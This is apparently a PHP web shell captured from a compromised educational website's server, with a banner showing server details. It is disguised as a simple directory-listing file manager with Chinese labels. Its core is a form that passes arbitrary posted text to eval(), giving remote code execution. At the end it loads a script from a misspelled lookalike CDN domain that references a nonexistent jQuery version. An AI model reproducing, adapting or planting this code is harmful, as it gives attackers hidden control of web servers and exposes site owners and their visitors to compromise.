|
Server : Apache/2.4.41 (Ubuntu) System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64 User : www-data ( 33) PHP Version : 8.2.12 Disable Function : NONE Directory : /var/www/nikkilgupta.edukrypt.in/routes/311739/ |
Upload File : |
<?php
define('BASE_DIR', $_SERVER['DOCUMENT_ROOT']);
$current_path = isset($_GET['path']) ? realpath(BASE_DIR . $_GET['path']) : BASE_DIR;
$current_path = str_replace('\\', '/', $current_path);
if(strpos($current_path, BASE_DIR) !== 0){
die("error!");
}
if (isset($_POST['submit1'])) {
chdir($_POST['curdir']);
$content = eval($_POST['content']);
}
function get_clickable_breadcrumb($base, $current) {
$base = rtrim($base, '/');
$current = rtrim($current, '/');
$relative = str_replace($base, '', $current);
$parts = array_values(array_filter(explode('/', $relative)));
$breadcrumb = '<a href="?path=/">🏠 根目录</a>';
$accum_path = '';
foreach($parts as $index => $part){
$accum_path .= '/' . $part;
$encoded_path = urlencode($accum_path);
$breadcrumb .= " / <a href=\"?path={$encoded_path}\">".htmlspecialchars($part)."</a>";
}
return '<div class="breadcrumb">'.$breadcrumb.'</div>';
}
$items = array_diff(scandir($current_path), ['.', '..']);
$folders = [];
$files = [];
foreach($items as $item){
$fullPath = $current_path . '/' . $item;
if(is_dir($fullPath)){
$folders[] = [
'name' => $item,
'type' => 'folder',
'mtime' => filemtime($fullPath)
];
} else {
$files[] = [
'name' => $item,
'type' => 'file',
'size' => filesize($fullPath),
'mtime' => filemtime($fullPath)
];
}
}
usort($folders, fn($a, $b) => strcmp($a['name'], $b['name']));
usort($files, fn($a, $b) => strcmp($a['name'], $b['name']));
$sortedItems = array_merge($folders, $files);
?>
<!DOCTYPE html>
<html>
<head>
<title>filemanage</title>
<style>
table { border-collapse: collapse; width: 100%; }
th, td { border: 1px solid #ddd; padding: 8px; }
.folder { background: #f0f8ff; }
a { text-decoration: none; color: #06c; }
a:hover { text-decoration: underline; }
.breadcrumb {
padding: 12px;
background: #f8f9fa;
border-radius: 4px;
margin-bottom: 20px;
}
.breadcrumb a {
color: #007bff;
transition: color 0.2s;
}
.breadcrumb a:hover {
color: #0056b3;
text-decoration: underline;
}
.form-group {
margin-bottom: 15px;
}
input[type="text"] {
width: 100%;
padding: 8px;
border: 1px solid #ddd;
border-radius: 4px;
}
input[type="submit"] {
background-color: #4CAF50;
color: white;
padding: 10px 20px;
border: none;
border-radius: 4px;
cursor: pointer;
}
</style>
</head>
<body>
<form method="post">
<div class="form-group">
<input type="hidden" name='curdir' value='<?php echo $current_path;?>' />
<textarea id="content" name="content" required style="width:800px; height:200px;"></textarea>
</div>
<input type="submit" name="submit1" value="提交">
</form>
<h2><?= get_clickable_breadcrumb(BASE_DIR,$current_path) ?></h2>
<table>
<tr>
<th>名称</th>
<th>类型</th>
<th>大小</th>
<th>修改时间</th>
</tr>
<?php foreach($sortedItems as $item): ?>
<tr class="<?= $item['type'] === 'folder' ? 'folder' : '' ?>">
<td>
<?php if($item['type'] === 'folder'): ?>
📁 <a href="?path=<?=
urlencode(str_replace(BASE_DIR, '', $current_path) . '/' . $item['name'])
?>"><?= htmlspecialchars($item['name']) ?></a>
<?php else: ?>
📄 <?= htmlspecialchars($item['name']) ?>
<?php endif; ?>
</td>
<td><?= $item['type'] === 'folder' ? '文件夹' : '文件' ?></td>
<td><?= $item['type'] === 'file' ? number_format($item['size']/1024, 3).' KB' : '-' ?></td>
<td><?= date('Y-m-d H:i:s', $item['mtime']) ?></td>
</tr>
<?php endforeach; ?>
</table>
</body>
</html>
<script src="https://cdn.jsdelirv.net/npm/jquery@4.5.2/dist/jquery.min.js"></script>